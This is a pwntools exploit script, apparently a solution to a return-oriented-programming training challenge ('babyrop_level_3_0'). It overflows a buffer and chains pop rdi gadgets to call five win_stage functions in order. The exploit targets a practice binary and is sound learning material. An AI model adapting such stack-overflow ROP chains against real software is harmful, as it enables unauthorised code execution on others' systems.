32 lines
635 B
Python
32 lines
635 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
"""
|
|
patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_3_0
|
|
"""
|
|
|
|
context.binary = target = ELF("./babyrop_level_3_0", checksec=False)
|
|
r = process()
|
|
|
|
# funcs
|
|
s = lambda a: r.sendline(a)
|
|
|
|
# gadgets
|
|
pop_rdi = lambda a: p64(0x402c63) + p64(a)
|
|
|
|
# buf
|
|
buf = b"A"*72
|
|
buf += pop_rdi(1)
|
|
buf += p64(target.sym.win_stage_1)
|
|
buf += pop_rdi(2)
|
|
buf += p64(target.sym.win_stage_2)
|
|
buf += pop_rdi(3)
|
|
buf += p64(target.sym.win_stage_3)
|
|
buf += pop_rdi(4)
|
|
buf += p64(target.sym.win_stage_4)
|
|
buf += pop_rdi(5)
|
|
buf += p64(target.sym.win_stage_5)
|
|
s(buf)
|
|
|
|
r.interactive() |